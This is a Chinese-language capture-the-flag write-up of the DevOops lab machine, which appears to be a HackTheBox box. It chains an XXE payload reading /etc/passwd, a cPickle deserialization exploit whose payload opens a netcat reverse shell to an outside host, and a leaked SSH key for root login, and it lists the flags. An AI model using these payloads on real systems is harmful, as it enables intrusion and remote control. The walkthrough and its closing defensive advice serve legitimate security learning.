[Meachines] [Medium] DevOops XXE-XML-RSS+cPickle反序列化+git-leak权限提升
字数 990 2025-08-29 08:29:58

XXE-XML-RSS + cPickle反序列化 + git-leak权限提升综合漏洞利用教学

1. 信息收集阶段

1.1 目标识别

  • IP地址: 10.10.10.91
  • 开放端口:
    • 22/tcp: OpenSSH 7.2p2 (Ubuntu)
    • 5000/tcp: Gunicorn 19.7.1 HTTP服务

1.2 端口扫描方法

ip='10.10.10.91'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

1.3 Web目录扫描

使用feroxbuster扫描Web服务:

feroxbuster -u 'http://10.10.10.91:5000'

2. XXE (XML External Entity)漏洞利用

2.1 漏洞背景

目标系统存在一个RSS XML解析器,未正确过滤外部实体引用,导致XXE漏洞。

2.2 RSS XML结构示例

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
  <channel>
    <title>Example RSS</title>
    <link>http://example.com/</link>
    <description>Example RSS Feed</description>
    <item>
      <title>Testing</title>
      <link>http://example.com/testing</link>
      <description>This is a test</description>
      <author>xxxx</author>
    </item>
  </channel>
</rss>

2.3 XXE利用Payload

创建exp.xml文件读取/etc/passwd:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<entry>
  <Author>&xxe;</Author>
  <Subject>Testing</Subject>
  <Content>This is a test</Content>
</entry>

2.4 利用方法

将上述XML文件上传至目标系统的/upload端点,触发XXE漏洞读取敏感文件。

3. cPickle反序列化漏洞利用

3.1 漏洞原理

Python的cPickle模块在反序列化时不安全,可导致任意代码执行。

3.2 恶意Pickle对象生成

import os
import cPickle as pickle
import base64

class Exploit(object):
    def __init__(self, cmd):
        self.cmd = cmd
    
    def __reduce__(self):
        return (os.system, (self.cmd,))

print base64.urlsafe_b64encode(pickle.dumps(Exploit('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.33 443 >/tmp/f')))

3.3 利用步骤

  1. 生成恶意Pickle对象
  2. 将Base64编码的Pickle数据提交到目标系统
  3. 目标系统反序列化时触发命令执行
  4. 监听443端口获取反向shell

4. Git信息泄露与权限提升

4.1 发现Git泄露

在系统中发现包含敏感信息的Git仓库或配置文件。

4.2 获取SSH私钥

发现RSA私钥:

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
[...省略部分内容...]
EGau6dIbQaUUSOEE=
-----END RSA PRIVATE KEY-----

4.3 权限提升方法

  1. 将私钥保存到本地/tmp/id_rsa
  2. 设置正确权限: chmod 600 /tmp/id_rsa
  3. 使用私钥SSH登录:
ssh root@127.0.0.1 -i /tmp/id_rsa

5. 标志获取

  • 用户flag: 50894ddf8f7c71addb19c732f069336e
  • 根flag: 22c6e39d1e1159dbcffbf6e5b6ed50b2

6. 防御措施

6.1 防止XXE漏洞

  • 禁用外部实体解析
  • 使用安全的XML解析器
  • 实施输入验证和过滤

6.2 防止反序列化漏洞

  • 避免反序列化不可信数据
  • 使用JSON等安全替代方案
  • 实施类型检查和白名单

6.3 防止信息泄露

  • 确保.git目录不可访问
  • 定期检查系统敏感文件权限
  • 使用.gitignore排除敏感文件

6.4 加强SSH安全

  • 禁用root远程登录
  • 使用密钥认证而非密码
  • 定期轮换密钥
XXE-XML-RSS + cPickle反序列化 + git-leak权限提升综合漏洞利用教学 1. 信息收集阶段 1.1 目标识别 IP地址: 10.10.10.91 开放端口: 22/tcp: OpenSSH 7.2p2 (Ubuntu) 5000/tcp: Gunicorn 19.7.1 HTTP服务 1.2 端口扫描方法 1.3 Web目录扫描 使用feroxbuster扫描Web服务: 2. XXE (XML External Entity)漏洞利用 2.1 漏洞背景 目标系统存在一个RSS XML解析器,未正确过滤外部实体引用,导致XXE漏洞。 2.2 RSS XML结构示例 2.3 XXE利用Payload 创建exp.xml文件读取/etc/passwd: 2.4 利用方法 将上述XML文件上传至目标系统的/upload端点,触发XXE漏洞读取敏感文件。 3. cPickle反序列化漏洞利用 3.1 漏洞原理 Python的cPickle模块在反序列化时不安全,可导致任意代码执行。 3.2 恶意Pickle对象生成 3.3 利用步骤 生成恶意Pickle对象 将Base64编码的Pickle数据提交到目标系统 目标系统反序列化时触发命令执行 监听443端口获取反向shell 4. Git信息泄露与权限提升 4.1 发现Git泄露 在系统中发现包含敏感信息的Git仓库或配置文件。 4.2 获取SSH私钥 发现RSA私钥: 4.3 权限提升方法 将私钥保存到本地/tmp/id_ rsa 设置正确权限: chmod 600 /tmp/id_rsa 使用私钥SSH登录: 5. 标志获取 用户flag: 50894ddf8f7c71addb19c732f069336e 根flag: 22c6e39d1e1159dbcffbf6e5b6ed50b2 6. 防御措施 6.1 防止XXE漏洞 禁用外部实体解析 使用安全的XML解析器 实施输入验证和过滤 6.2 防止反序列化漏洞 避免反序列化不可信数据 使用JSON等安全替代方案 实施类型检查和白名单 6.3 防止信息泄露 确保.git目录不可访问 定期检查系统敏感文件权限 使用.gitignore排除敏感文件 6.4 加强SSH安全 禁用root远程登录 使用密钥认证而非密码 定期轮换密钥